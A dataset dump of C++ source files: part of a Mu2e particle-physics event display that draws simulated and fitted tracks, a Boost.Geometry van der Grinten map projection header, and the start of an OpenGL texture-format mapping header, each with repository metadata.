particleid=particle.pdgId();\n      int trackclass=trackInfos[i].classID;\n      int trackclassindex=trackInfos[i].index;\n      std::string particlecollection=trackInfos[i].entryText;\n      std::string particlename=HepPID::particleName(particle.pdgId());\n      std::string startVolumeName=\"unknown volume\";\n      std::string endVolumeName=\"unknown volume\";\n      if(physicalVolumesMulti!=nullptr)\n      {\n        mu2e::PhysicalVolumeMultiHelper volumeMultiHelper(*physicalVolumesMulti);\n        startVolumeName=volumeMultiHelper.startVolume(particle).name();\n        endVolumeName=volumeMultiHelper.endVolume(particle).name();\n      }\n      double x1=particle.startPosition().x() - _detSysOrigin.x();\n      double y1=particle.startPosition().y() - _detSysOrigin.y();\n      double z1=particle.startPosition().z() - _detSysOrigin.z();\n      double t1=particle.startGlobalTime()+timeOffset;\n      double e1=particle.startMomentum().e();\n      double x2=particle.endPosition().x() - _detSysOrigin.x();\n      double y2=particle.endPosition().y() - _detSysOrigin.y();\n      double z2=particle.endPosition().z() - _detSysOrigin.z();\n      double t2=particle.endGlobalTime()+timeOffset;\n      double e2=particle.endMomentum().e();\n      findBoundaryT(_tracksTimeMinmax, t1);\n      findBoundaryT(_tracksTimeMinmax, t2);\n      findBoundaryP(_tracksMinmax, x1, y1, z1);\n      findBoundaryP(_tracksMinmax, x2, y2, z2);\n\n      boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n      info->setName(Form(\"Track %i  %s  (%s)\",id,particlename.c_str(),particlecollection.c_str()));\n      if(parentid!=0) info->setText(0,Form(\"Track %i  %s  Parent %i  (%s)\",id,particlename.c_str(),parentid,particlecollection.c_str()));\n      else info->setText(0,Form(\"Track %i  %s  generated track  (%s)\",id,particlename.c_str(),particlecollection.c_str()));\n      info->setText(1,Form(\"Start Energy %gMeV  End Energy %gMeV\",e1/CLHEP::MeV,e2/CLHEP::MeV));\n      info->setText(2,Form(\"Created by %s in %s\",particle.creationCode().name().c_str(),startVolumeName.c_str()));\n      info->setText(3,Form(\"Destroyed by %s in %s\",particle.stoppingCode().name().c_str(),endVolumeName.c_str()));\n      info->setText(4,\"Daughter IDs:\");\n      std::vector<art::Ptr<mu2e::SimParticle> >::const_iterator daughter;\n      for(daughter=particle.daughters().begin();\n          daughter!=particle.daughters().end();\n          daughter++)\n      {\n        info->expandLine(4,Form(\"%lu\",(*daughter)->id().asInt()));\n      }\n      boost::shared_ptr<Track> shape(new Track(x1,y1,z1,t1, x2,y2,z2,t2,\n                                               particleid, trackclass, trackclassindex, e1,\n                                               _geometrymanager, _topvolume, _mainframe, info, false));\n      findTrajectory(contentSelector,shape,particle.id(), timeOffset, trackInfos[i]);\n      _components.push_back(shape);\n      _tracks.push_back(shape);\n    }\n  }\n\n  trackInfos.clear();\n  std::vector<const mu2e::KalRepCollection*> kalRepCollectionVector=contentSelector->getSelectedTrackCollection<mu2e::KalRepCollection>(trackInfos);\n  for(unsigned int i=0; i<kalRepCollectionVector.size(); i++)\n  {\n    const mu2e::KalRepCollection *kalReps=kalRepCollectionVector[i];\n    for(unsigned int j=0; j<kalReps->size(); j++)\n    {\n      KalRep const* kalrep = kalReps->get(j);\n        int trackclass=trackInfos[i].classID;\n        int trackclassindex=trackInfos[i].index;\n        std::string trackcollection=trackInfos[i].entryText;\n        int particleid=kalrep->particleType().particleType();\n        std::string particlename=HepPID::particleName(particleid);\n        std::string c=Form(\"Kalman Track %i  %s  (%s)\",j,particlename.c_str(),trackcollection.c_str());\n        boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n        info->setName(c.c_str());\n        info->setText(0,c.c_str());\n\n        double hitcount=0;\n        double offset=0;\n        TrkHitVector const& hots=kalrep->hitVector();\n        if(hots.size()>0)\n        {\n          boost::shared_ptr<TGraphErrors> residualGraph(new TGraphErrors());\n          residualGraph->SetTitle(\"Residual Graph\");\n          for(auto iter=hots.begin(); iter!=hots.end(); iter++)\n          {\n            const TrkHit *hitOnTrack = *iter;\n            const mu2e::TrkStrawHit* strawHit = dynamic_cast<const mu2e::TrkStrawHit*>(hitOnTrack);\n            if(strawHit)\n            {\n              double strawTime   = strawHit->hitT0()._t0/CLHEP::ns;\n              double trackTime   = strawTime*CLHEP::ns;  //TODO: add correction for drift time\n              double weight= strawHit->weight();\n              double fltLen= strawHit->fltLen();\n              const HepPoint &p=strawHit->hitTraj()->position(strawHit->hitLen());\n              double t     = kalrep->arrivalTime(fltLen);\n              offset+=(trackTime-t)*weight;\n              hitcount+=weight;\n\n              double residual, residualError;\n              if(strawHit->resid(residual, residualError))\n              {\n                int n=residualGraph->GetN();\n                residualGraph->SetPoint(n,p.z(),residual);\n                residualGraph->SetPointError(n,0,residualError);\n              }\n            }\n          }\n          residualGraph->GetXaxis()->SetTitle(\"z [mm]\");\n          residualGraph->GetYaxis()->SetTitle(\"Residual [??]\");\n          info->getHistVector().push_back(boost::dynamic_pointer_cast<TObject>(residualGraph));\n        }\n        if(hitcount>0) offset/=hitcount; else offset=0;\n\n        double fltLMin=kalrep->startValidRange();\n        double fltLMax=kalrep->endValidRange();\n        double p1=kalrep->momentum(fltLMin).mag();\n        double p2=kalrep->momentum(fltLMax).mag();\n        double x1=kalrep->position(fltLMin).x();\n        double y1=kalrep->position(fltLMin).y();\n        double z1=kalrep->position(fltLMin).z();\n        double x2=kalrep->position(fltLMax).x();\n        double y2=kalrep->position(fltLMax).y();\n        double z2=kalrep->position(fltLMax).z();\n        double t1=kalrep->arrivalTime(fltLMin)+offset;\n        double t2=kalrep->arrivalTime(fltLMax)+offset;\n        boost::shared_ptr<Track> track(new Track(x1,y1,z1,t1, x2,y2,z2,t2,\n                                                 particleid, trackclass, trackclassindex, p1,\n                                                 _geometrymanager, _topvolume, _mainframe, info, false));\n        _components.push_back(track);\n        _tracks.push_back(track);\n\n        double fltStep = (fltLMax - fltLMin)/400.0;\n        for(unsigned int step = 0; step <= 400.0; step++)\n        {\n          double fltL = fltLMin + step*fltStep;\n          double   t = kalrep->arrivalTime(fltL)+offset;\n          HepPoint p = kalrep->position(fltL);\n          findBoundaryT(_tracksTimeMinmax, t);\n          findBoundaryP(_tracksMinmax, p.x(), p.y(), p.z());\n          track->addTrajectoryPoint(p.x(), p.y(), p.z(), t);\n        }\n\n\tint charge = kalrep->charge();\n        double t0=kalrep->t0().t0();\n        double firsthitfltlen = kalrep->lowFitRange();\n        double lasthitfltlen = kalrep->hiFitRange();\n        double entlen = min(firsthitfltlen,lasthitfltlen);\n        double loclen(0.0);\n        const TrkSimpTraj* ltraj = kalrep->localTrajectory(entlen,loclen);\n        const CLHEP::HepVector &params=ltraj->parameters()->parameter();\n        double d0 = params[0];\n        double om = params[2];\n        double rmax = d0+2.0/om;\n\n\tinfo->setText(1,Form(\"Charge %i\",charge));\n\tinfo->setText(2,Form(\"Start Momentum %gMeV/c  End Momentum %gMeV/c\",p1/CLHEP::MeV,p2/CLHEP::MeV));\n\tinfo->setText(3,Form(\"t0 %gns  d0 %gmm  rmax %gmm\",t0/CLHEP::ns,d0/CLHEP::mm,rmax/CLHEP::mm));\n    }\n  }\n\n  // KalSeed tracks\n  trackInfos.clear();\n  std::vector<const mu2e::KalSeedCollection*> kalSeedCollectionVector=contentSelector->getSelectedTrackCollection<mu2e::KalSeedCollection>(trackInfos);\n  for(size_t i=0; i<kalSeedCollectionVector.size(); i++)\n  {\n    const mu2e::KalSeedCollection *kalSeeds=kalSeedCollectionVector[i];\n    for(size_t j=0; j<kalSeeds->size(); j++)\n    {\n      const mu2e::KalSeed &kalseed = kalSeeds->at(j);\n      int trackclass=trackInfos[i].classID;\n      int trackclassindex=trackInfos[i].index;\n      std::string trackcollection=trackInfos[i].entryText;\n      int particleid=kalseed.particle();\n      std::string particlename=HepPID::particleName(particleid);\n\n      const std::vector<mu2e::KalSegment> &segments = kalseed.segments();\n      size_t nSegments=segments.size();\n      if(nSegments==0) continue;\n      const mu2e::KalSegment &segmentFirst = kalseed.segments().front();\n      const mu2e::KalSegment &segmentLast = kalseed.segments().back();\n      double fltLMin=segmentFirst.fmin();\n      double fltLMax=segmentLast.fmax();\n      XYZVec momvec1, momvec2;\n      segmentFirst.mom(fltLMin, momvec1);\n      segmentLast.mom(fltLMax, momvec2);\n      double p1=Geom::Hep3Vec(momvec1).mag();\n      double p2=Geom::Hep3Vec(momvec2).mag();\n\n      double t0   = kalseed.t0().t0();\n      double flt0 = kalseed.flt0();\n      double mass = ptable->particle(kalseed.particle()).ref().mass().value(); \n      double v  = mu2e::TrkUtilities::beta(mass,(p1+p2)/2.0)*CLHEP::c_light;\n\n      boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n      std::string c=Form(\"KalSeed Track %lu  %s  (%s)\",j,particlename.c_str(),trackcollection.c_str());\n      info->setName(c.c_str());\n      info->setText(0,c.c_str());\n      info->setText(1,Form(\"Start Momentum %gMeV/c  End Momentum %gMeV/c\",p1/CLHEP::MeV,p2/CLHEP::MeV));\n\n      for(size_t k=0; k<nSegments; k++)\n      {\n        const mu2e::KalSegment &segment = segments.at(k);\n\n        fltLMin=segment.fmin();\n        fltLMax=segment.fmax();\n/*\n//interpolation between segments doesn't seem to work anymore\n        if(k>0)\n        {\n          double fltLMaxPrev=segments.at(k-1).fmax();\n          fltLMin=(fltLMin+fltLMaxPrev)/2.0;\n        }\n        if(k+1<nSegments)\n        {\n          double fltLMinNext=segments.at(k+1).fmin();\n          fltLMax=(fltLMax+fltLMinNext)/2.0;\n        }\n*/\n\n        XYZVec pos1, pos2;\n        segment.helix().position(fltLMin,pos1);\n        segment.helix().position(fltLMax,pos2);\n        double x1=Geom::Hep3Vec(pos1).x();\n        double y1=Geom::Hep3Vec(pos1).y();\n        double z1=Geom::Hep3Vec(pos1).z();\n        double x2=Geom::Hep3Vec(pos2).x();\n        double y2=Geom::Hep3Vec(pos2).y();\n        double z2=Geom::Hep3Vec(pos2).z();\n        double t1=t0+(fltLMin-flt0)/v;\n        double t2=t0+(fltLMax-flt0)/v;\n        boost::shared_ptr<Track> track(new Track(x1,y1,z1,t1, x2,y2,z2,t2,\n                                                 particleid, trackclass, trackclassindex, p1,\n                                                 _geometrymanager, _topvolume, _mainframe, info, false));\n        _components.push_back(track);\n        _tracks.push_back(track);\n\n        for(double fltL=fltLMin; fltL<=fltLMax; fltL+=1.0)\n        {\n          double t=t0+(fltL-flt0)/v;\n          XYZVec pos;\n          segment.helix().position(fltL,pos);\n          CLHEP::Hep3Vector p = Geom::Hep3Vec(pos);\n          findBoundaryT(_tracksTimeMinmax, t);\n          findBoundaryP(_tracksMinmax, p.x(), p.y(), p.z());\n          track->addTrajectoryPoint(p.x(), p.y(), p.z(), t);\n        }\n      }\n    }\n  }\n\n\n  // TrkExt track\n  trackInfos.clear();\n  std::vector<const mu2e::TrkExtTrajCollection*> trkExtTrajCollectionVector=contentSelector->getSelectedTrackCollection<mu2e::TrkExtTrajCollection>(trackInfos);\n  for(unsigned int i=0; i<trkExtTrajCollectionVector.size(); i++)\n  {\n    // Read a TrkExtTrajCollection\n    const mu2e::TrkExtTrajCollection & trkExtTrajCollection = *trkExtTrajCollectionVector[i];\n    for(unsigned int j=0; j<trkExtTrajCollection.size(); j++)\n    {\n      // read a TrkExtTraj\n      const mu2e::TrkExtTraj &trkExtTraj = trkExtTrajCollection.at(j);\n      int particleid=11;\n      int trackclass=trackInfos[i].classID;\n      int trackclassindex=trackInfos[i].index;\n      std::string trackcollection=trackInfos[i].entryText;\n\n      std::string particlename=HepPID::particleName(particleid);\n      boost::shared_ptr<ComponentInfo> info(new ComponentInfo());\n      std::string c=Form(\"TrkExt Trajectory %i  %s  (%s)\", trkExtTraj.id(), particlename.c_str(),trackcollection.c_str());\n      info->setName(c.c_str());\n      info->setText(0,c.c_str());\n\n      double p1 = trkExtTraj.front().momentum().mag();\n      double x1 = trkExtTraj.front().x();\n      double y1 = trkExtTraj.front().y();\n      double z1 = trkExtTraj.front().z();\n      double x2 = trkExtTraj.back().x();\n      double y2 = trkExtTraj.back().y();\n      double z2 = trkExtTraj.back().z();\n      double t1 = 0;\n      double t2 = 0;\n      boost::shared_ptr<Track> track(new Track(x1,y1,z1,t1, x2,y2,z2,t2,\n                                               particleid, trackclass, trackclassindex, p1,\n                                               _geometrymanager, _topvolume, _mainframe, info, false));\n      _components.push_back(track);\n      _tracks.push_back(track);\n\n      for (unsigned int k = 0 ; k < trkExtTraj.size() ; k+=10) {\n        const mu2e::TrkExtTrajPoint & trkExtTrajPoint = trkExtTraj[k];\n        track->addTrajectoryPoint(trkExtTrajPoint.x(), trkExtTrajPoint.y(), trkExtTrajPoint.z(), 0);\n      }\n    }\n  }\n}\n\nvoid DataInterface::findTrajectory(boost::shared_ptr<ContentSelector> const &contentSelector,\n                                   boost::shared_ptr<Track> const &track, const cet::map_vector_key &id,\n                                   double timeOffset,\n                                   const ContentSelector::trackInfoStruct &trackInfo)\n{\n  const mu2e::MCTrajectoryCollection *mcTrajectories=contentSelector->getMCTrajectoryCollection(trackInfo);\n  if(mcTrajectories!=nullptr)\n  {\n    std::map<art::Ptr<mu2e::SimParticle>,mu2e::MCTrajectory>::const_iterator traj_iter;\n    for(traj_iter=mcTrajectories->begin(); traj_iter!=mcTrajectories->end(); traj_iter++)\n    {\n      if(traj_iter->first->id()==id)\n//      if(traj_iter->second.sim()->id()==id)\n      {\n        const auto& points = traj_iter->second.points();\n        for(auto point_iter=points.begin(); point_iter!=points.end(); ++point_iter)\n        {\n          track->addTrajectoryPoint(point_iter->x()-_detSysOrigin.x(),\n                                    point_iter->y()-_detSysOrigin.y(),\n                                    point_iter->z()-_detSysOrigin.z(),\n                                    point_iter->t()+timeOffset);\n        }\n      }\n    }\n    return;\n  }\n}\n\nvoid DataInterface::removeNonGeometryComponents()\n{\n  std::list<boost::shared_ptr<VirtualShape> >::iterator iter=_components.begin();\n  while(iter!=_components.end())\n  {\n    if(!(*iter)->isGeometry()) {iter=_components.erase(iter);} //things like tracks and drift radii\n    else iter++;\n  }\n\n  std::vector<boost::shared_ptr<Straw> >::const_iterator hit;\n  for(hit=_hits.begin(); hit!=_hits.end(); hit++)\n  {\n    for(int i=1; i<7; i++) (*hit)->getComponentInfo()->removeLine(i);  //keep first line\n    (*hit)->getComponentInfo()->getHistVector().clear();\n    (*hit)->setHitNumber(-1);\n    (*hit)->setStartTime(NAN);\n    (*hit)->start();\n  }\n  std::vector<boost::shared_ptr<VirtualShape> >::const_iterator crystalhit;\n  for(crystalhit=_crystalhits.begin(); crystalhit!=_crystalhits.end(); crystalhit++)\n  {\n    for(int i=1; i<7; i++) (*crystalhit)->getComponentInfo()->removeLine(i); //keep first line\n    (*crystalhit)->getComponentInfo()->getHistVector().clear();\n    (*crystalhit)->setStartTime(NAN);\n    (*crystalhit)->start();\n  }\n  std::vector<boost::shared_ptr<Cube> >::const_iterator crvhit;\n  for(crvhit=_crvhits.begin(); crvhit!=_crvhits.end(); crvhit++)\n  {\n    for(int i=1; i<7; i++) (*crvhit)->getComponentInfo()->removeLine(i); //keep first line\n    (*crvhit)->getComponentInfo()->getHistVector().clear();\n    (*crvhit)->setStartTime(NAN);\n    (*crvhit)->start();\n  }\n\n  _hits.clear();\n  _crystalhits.clear();\n  _crvhits.clear();\n  _tracks.clear();  //will call the d'tors of all tracks, since they aren't used anywhere anymore\n  _driftradii.clear(); //will call the d'tors of all driftradii, since they aren't used anywhere anymore\n\n  _mainframe->getHistDrawVector().clear();\n}\n\nvoid DataInterface::removeAllComponents()\n{\n  _components.clear();\n  _straws.clear();\n  _crystals.clear();\n  _crvscintillatorbars.clear();\n  _hits.clear();\n  _crystalhits.clear();\n  _crvhits.clear();\n  _tracks.clear();\n  _driftradii.clear();\n  _supportstructures.clear();\n  _otherstructures.clear();\n  _crvscintillatorbars.clear();\n  _mbsstructures.clear();\n  _mecostylepastructures.clear();\n  delete _geometrymanager;\n  _geometrymanager=nullptr;\n\n  _mainframe->getHistDrawVector().clear();\n}\n\n}\n", "meta": {"hexsha": "815916fcf119541c4274f9af19c3cb588337fb06", "size": 67657, "ext": "cc", "lang": "C++", "max_stars_repo_path": "EventDisplay/src/DataInterface.cc", "max_stars_repo_name": "lborrel/Offline", "max_stars_repo_head_hexsha": "db9f647bad3c702171ab5ffa5ccc04c82b3f8984", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2021-06-23T22:09:28.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-23T22:09:28.000Z", "max_issues_repo_path": "EventDisplay/src/DataInterface.cc", "max_issues_repo_name": "lborrel/Offline", "max_issues_repo_head_hexsha": "db9f647bad3c702171ab5ffa5ccc04c82b3f8984", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 125.0, "max_issues_repo_issues_event_min_datetime": "2020-04-03T13:44:30.000Z", "max_issues_repo_issues_event_max_datetime": "2021-10-15T21:29:57.000Z", "max_forks_repo_path": "EventDisplay/src/DataInterface.cc", "max_forks_repo_name": "lborrel/Offline", "max_forks_repo_head_hexsha": "db9f647bad3c702171ab5ffa5ccc04c82b3f8984", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.0114431024, "max_line_length": 163, "alphanum_fraction": 0.6492011174, "num_tokens": 19041, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.2845760102840561, "lm_q1q2_score": 0.14895287460178758}}
{"text": "#ifndef BOOST_GEOMETRY_PROJECTIONS_VANDG2_HPP\n#define BOOST_GEOMETRY_PROJECTIONS_VANDG2_HPP\n\n// Boost.Geometry - extensions-gis-projections (based on PROJ4)\n// This file is automatically generated. DO NOT EDIT.\n\n// Copyright (c) 2008-2015 Barend Gehrels, Amsterdam, the Netherlands.\n\n// Use, modification and distribution is subject to the Boost Software License,\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n\n// This file is converted from PROJ4, http://trac.osgeo.org/proj\n// PROJ4 is originally written by Gerald Evenden (then of the USGS)\n// PROJ4 is maintained by Frank Warmerdam\n// PROJ4 is converted to Boost.Geometry by Barend Gehrels\n\n// Last updated version of proj: 4.9.1\n\n// Original copyright notice:\n\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the \"Software\"),\n// to deal in the Software without restriction, including without limitation\n// the rights to use, copy, modify, merge, publish, distribute, sublicense,\n// and/or sell copies of the Software, and to permit persons to whom the\n// Software is furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n// DEALINGS IN THE SOFTWARE.\n\n#include <boost/geometry/util/math.hpp>\n\n#include <boost/geometry/extensions/gis/projections/impl/base_static.hpp>\n#include <boost/geometry/extensions/gis/projections/impl/base_dynamic.hpp>\n#include <boost/geometry/extensions/gis/projections/impl/projects.hpp>\n#include <boost/geometry/extensions/gis/projections/impl/factory_entry.hpp>\n\nnamespace boost { namespace geometry { namespace projections\n{\n    #ifndef DOXYGEN_NO_DETAIL\n    namespace detail { namespace vandg2\n    {\n\n            static const double TOL = 1e-10;\n            static const double TWORPI = 0.63661977236758134308;\n\n            struct par_vandg2\n            {\n                int    vdg3;\n            };\n\n            // template class, using CRTP to implement forward/inverse\n            template <typename Geographic, typename Cartesian, typename Parameters>\n            struct base_vandg2_spheroid : public base_t_f<base_vandg2_spheroid<Geographic, Cartesian, Parameters>,\n                     Geographic, Cartesian, Parameters>\n            {\n\n                 typedef double geographic_type;\n                 typedef double cartesian_type;\n\n                par_vandg2 m_proj_parm;\n\n                inline base_vandg2_spheroid(const Parameters& par)\n                    : base_t_f<base_vandg2_spheroid<Geographic, Cartesian, Parameters>,\n                     Geographic, Cartesian, Parameters>(*this, par) {}\n\n                // FORWARD(s_forward)  spheroid\n                // Project coordinates from geographic (lon, lat) to cartesian (x, y)\n                inline void fwd(geographic_type& lp_lon, geographic_type& lp_lat, cartesian_type& xy_x, cartesian_type& xy_y) const\n                {\n                    double x1, at, bt, ct;\n\n                    bt = fabs(TWORPI * lp_lat);\n                    if ((ct = 1. - bt * bt) < 0.)\n                        ct = 0.;\n                    else\n                        ct = sqrt(ct);\n                    if (fabs(lp_lon) < TOL) {\n                        xy_x = 0.;\n                        xy_y = geometry::math::pi<double>() * (lp_lat < 0. ? -bt : bt) / (1. + ct);\n                    } else {\n                        at = 0.5 * fabs(geometry::math::pi<double>() / lp_lon - lp_lon / geometry::math::pi<double>());\n                        if (this->m_proj_parm.vdg3) {\n                            x1 = bt / (1. + ct);\n                            xy_x = geometry::math::pi<double>() * (sqrt(at * at + 1. - x1 * x1) - at);\n                            xy_y = geometry::math::pi<double>() * x1;\n                        } else {\n                            x1 = (ct * sqrt(1. + at * at) - at * ct * ct) /\n                                (1. + at * at * bt * bt);\n                            xy_x = geometry::math::pi<double>() * x1;\n                            xy_y = geometry::math::pi<double>() * sqrt(1. - x1 * (x1 + 2. * at) + TOL);\n                        }\n                        if ( lp_lon < 0.) xy_x = -xy_x;\n                        if ( lp_lat < 0.) xy_y = -xy_y;\n                    }\n                }\n\n                static inline std::string get_name()\n                {\n                    return \"vandg2_spheroid\";\n                }\n\n            };\n\n            // van der Grinten II\n            template <typename Parameters>\n            void setup_vandg2(Parameters& par, par_vandg2& proj_parm)\n            {\n                proj_parm.vdg3 = 0;\n            }\n\n            // van der Grinten III\n            template <typename Parameters>\n            void setup_vandg3(Parameters& par, par_vandg2& proj_parm)\n            {\n                proj_parm.vdg3 = 1;\n                par.es = 0.;\n            }\n\n        }} // namespace detail::vandg2\n    #endif // doxygen\n\n    /*!\n        \\brief van der Grinten II projection\n        \\ingroup projections\n        \\tparam Geographic latlong point type\n        \\tparam Cartesian xy point type\n        \\tparam Parameters parameter type\n        \\par Projection characteristics\n         - Miscellaneous\n         - Spheroid\n         - no inverse\n        \\par Example\n        \\image html ex_vandg2.gif\n    */\n    template <typename Geographic, typename Cartesian, typename Parameters = parameters>\n    struct vandg2_spheroid : public detail::vandg2::base_vandg2_spheroid<Geographic, Cartesian, Parameters>\n    {\n        inline vandg2_spheroid(const Parameters& par) : detail::vandg2::base_vandg2_spheroid<Geographic, Cartesian, Parameters>(par)\n        {\n            detail::vandg2::setup_vandg2(this->m_par, this->m_proj_parm);\n        }\n    };\n\n    /*!\n        \\brief van der Grinten III projection\n        \\ingroup projections\n        \\tparam Geographic latlong point type\n        \\tparam Cartesian xy point type\n        \\tparam Parameters parameter type\n        \\par Projection characteristics\n         - Miscellaneous\n         - Spheroid\n         - no inverse\n        \\par Example\n        \\image html ex_vandg3.gif\n    */\n    template <typename Geographic, typename Cartesian, typename Parameters = parameters>\n    struct vandg3_spheroid : public detail::vandg2::base_vandg2_spheroid<Geographic, Cartesian, Parameters>\n    {\n        inline vandg3_spheroid(const Parameters& par) : detail::vandg2::base_vandg2_spheroid<Geographic, Cartesian, Parameters>(par)\n        {\n            detail::vandg2::setup_vandg3(this->m_par, this->m_proj_parm);\n        }\n    };\n\n    #ifndef DOXYGEN_NO_DETAIL\n    namespace detail\n    {\n\n        // Factory entry(s)\n        template <typename Geographic, typename Cartesian, typename Parameters>\n        class vandg2_entry : public detail::factory_entry<Geographic, Cartesian, Parameters>\n        {\n            public :\n                virtual projection<Geographic, Cartesian>* create_new(const Parameters& par) const\n                {\n                    return new base_v_f<vandg2_spheroid<Geographic, Cartesian, Parameters>, Geographic, Cartesian, Parameters>(par);\n                }\n        };\n\n        template <typename Geographic, typename Cartesian, typename Parameters>\n        class vandg3_entry : public detail::factory_entry<Geographic, Cartesian, Parameters>\n        {\n            public :\n                virtual projection<Geographic, Cartesian>* create_new(const Parameters& par) const\n                {\n                    return new base_v_f<vandg3_spheroid<Geographic, Cartesian, Parameters>, Geographic, Cartesian, Parameters>(par);\n                }\n        };\n\n        template <typename Geographic, typename Cartesian, typename Parameters>\n        inline void vandg2_init(detail::base_factory<Geographic, Cartesian, Parameters>& factory)\n        {\n            factory.add_to_factory(\"vandg2\", new vandg2_entry<Geographic, Cartesian, Parameters>);\n            factory.add_to_factory(\"vandg3\", new vandg3_entry<Geographic, Cartesian, Parameters>);\n        }\n\n    } // namespace detail\n    #endif // doxygen\n\n}}} // namespace boost::geometry::projections\n\n#endif // BOOST_GEOMETRY_PROJECTIONS_VANDG2_HPP\n\n", "meta": {"hexsha": "b4ff3140b866b48d649f867539e9fa2abc23a697", "size": 8779, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "3party/boost/boost/geometry/extensions/gis/projections/proj/vandg2.hpp", "max_stars_repo_name": "bowlofstew/omim", "max_stars_repo_head_hexsha": "8045157c95244aa8f862d47324df42a19b87e335", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-01-11T05:02:05.000Z", "max_stars_repo_stars_event_max_datetime": "2019-01-11T05:02:05.000Z", "max_issues_repo_path": "3party/boost/boost/geometry/extensions/gis/projections/proj/vandg2.hpp", "max_issues_repo_name": "bowlofstew/omim", "max_issues_repo_head_hexsha": "8045157c95244aa8f862d47324df42a19b87e335", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "3party/boost/boost/geometry/extensions/gis/projections/proj/vandg2.hpp", "max_forks_repo_name": "bowlofstew/omim", "max_forks_repo_head_hexsha": "8045157c95244aa8f862d47324df42a19b87e335", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2018-04-04T10:55:01.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-23T18:52:06.000Z", "avg_line_length": 40.8325581395, "max_line_length": 132, "alphanum_fraction": 0.6049663971, "num_tokens": 1998, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.28457600421652673, "lm_q1q2_score": 0.14895287142591926}}
{"text": "\n// Copyright (c) 2012 Christopher Lux <christopherlux@gmail.com>\n// Distributed under the Modified BSD License, see license.txt.\n\n#include <cassert>\n\n#include <boost/static_assert.hpp>\n\n#include <scm/gl_core/render_device/opengl/gl_core.h>\n\nnamespace scm {\nnamespace gl {\nnamespace util {\n\ninline\nunsigned\ngl_internal_format(const data_format d)\n{\n    static unsigned gl_int_fmts[] = {\n        GL_NONE,        // FORMAT_NULL                 = 0x00u,\n\n        // normalized integer formats (NORM)\n        GL_R8,          // FORMAT_R_8,\n        GL_RG8,         // FORMAT_RG_8,\n        GL_RGB8,        // FORMAT_RGB_8,\n        GL_RGBA8,       // FORMAT_RGBA_8,\n\n        GL_R16,         // FORMAT_R_16,\n        GL_RG16,        // FORMAT_RG_16,\n        GL_RGB16,       // FORMAT_RGB_16,\n        GL_RGBA16,      // FORMAT_RGBA_16,\n\n        GL_R8_SNORM,    // FORMAT_R_8S,\n        GL_RG8_SNORM,   // FORMAT_RG_8S,\n        GL_RGB8_SNORM,  // FORMAT_RGB_8S,\n        GL_RGBA8_SNORM, // FORMAT_RGBA_8S,\n\n        GL_R16_SNORM,   // FORMAT_R_16S,\n        GL_RG16_SNORM,  // FORMAT_RG_16S,\n        GL_RGB16_SNORM, // FORMAT_RGB_16S,\n        GL_RGBA16_SNORM,// FORMAT_RGBA_16S,\n\n        // swizzled integer formats\n        GL_RGB8,        // FORMAT_BGR_8,\n        GL_RGBA8,       // FORMAT_BGRA_8,\n\n        // srgb integer formats\n        GL_SRGB8,       // FORMAT_SRGB_8,\n        GL_SRGB8_ALPHA8,// FORMAT_SRGBA_8,\n\n        // unnormalized integer formats (UNORM)\n        GL_R8I,         // FORMAT_R_8I,\n        GL_RG8I,        // FORMAT_RG_8I,\n        GL_RGB8I,       // FORMAT_RGB_8I,\n        GL_RGBA8I,      // FORMAT_RGBA_8I,\n\n        GL_R16I,        // FORMAT_R_16I,\n        GL_RG16I,       // FORMAT_RG_16I,\n        GL_RGB16I,      // FORMAT_RGB_16I,\n        GL_RGBA16I,     // FORMAT_RGBA_16I,\n\n        GL_R32I,        // FORMAT_R_32I,\n        GL_RG32I,       // FORMAT_RG_32I,\n        GL_RGB32I,      // FORMAT_RGB_32I,\n        GL_RGBA32I,     // FORMAT_RGBA_32I,\n\n        GL_R8UI,        // FORMAT_R_8UI,\n        GL_RG8UI,       // FORMAT_RG_8UI,\n        GL_RGB8UI,      // FORMAT_RGB_8UI,\n        GL_RGBA8UI,     // FORMAT_RGBA_8UI,\n\n        GL_R16UI,       // FORMAT_R_16UI,\n        GL_RG16UI,      // FORMAT_RG_16UI,\n        GL_RGB16UI,     // FORMAT_RGB_16UI,\n        GL_RGBA16UI,    // FORMAT_RGBA_16UI,\n\n        GL_R32UI,       // FORMAT_R_32UI,\n        GL_RG32UI,      // FORMAT_RG_32UI,\n        GL_RGB32UI,     // FORMAT_RGB_32UI,\n        GL_RGBA32UI,    // FORMAT_RGBA_32UI,\n\n        // 